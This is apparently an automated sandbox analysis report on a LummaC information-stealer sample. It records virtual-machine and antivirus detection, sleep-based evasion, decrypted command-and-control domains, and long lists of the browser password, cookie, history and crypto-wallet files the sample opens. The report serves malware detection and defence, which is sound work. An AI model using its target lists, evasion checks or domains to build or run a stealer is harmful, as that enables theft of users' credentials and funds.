Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6464	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6296	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1839113218.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1838852498.0000000001CEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660461101.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650711919.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660955789.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00435C40 LdrInitializeThunk,

0_2_00435C40

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01CBEFFB push dword ptr fs:[00000030h]	0_2_01CBEFFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0368092B mov eax, dword ptr fs:[00000030h]	0_2_0368092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03680D90 mov eax, dword ptr fs:[00000030h]	0_2_03680D90

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: demonstationfukewko.shop
Source: file.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: file.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: file.exe	String found in binary or memory: incredibleextedwj.shop
Source: file.exe	String found in binary or memory: shortsvelventysjo.shop
Source: file.exe	String found in binary or memory: shatterbreathepsw.shop
Source: file.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: file.exe	String found in binary or memory: productivelookewr.shop
Source: file.exe	String found in binary or memory: strollheavengwu.shop

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: file.exe, 00000000.00000003.1701788097.000000000421A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1703006757.000000000421E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1839113218.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000002.1839113218.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000002.1839113218.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000002.1839113218.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
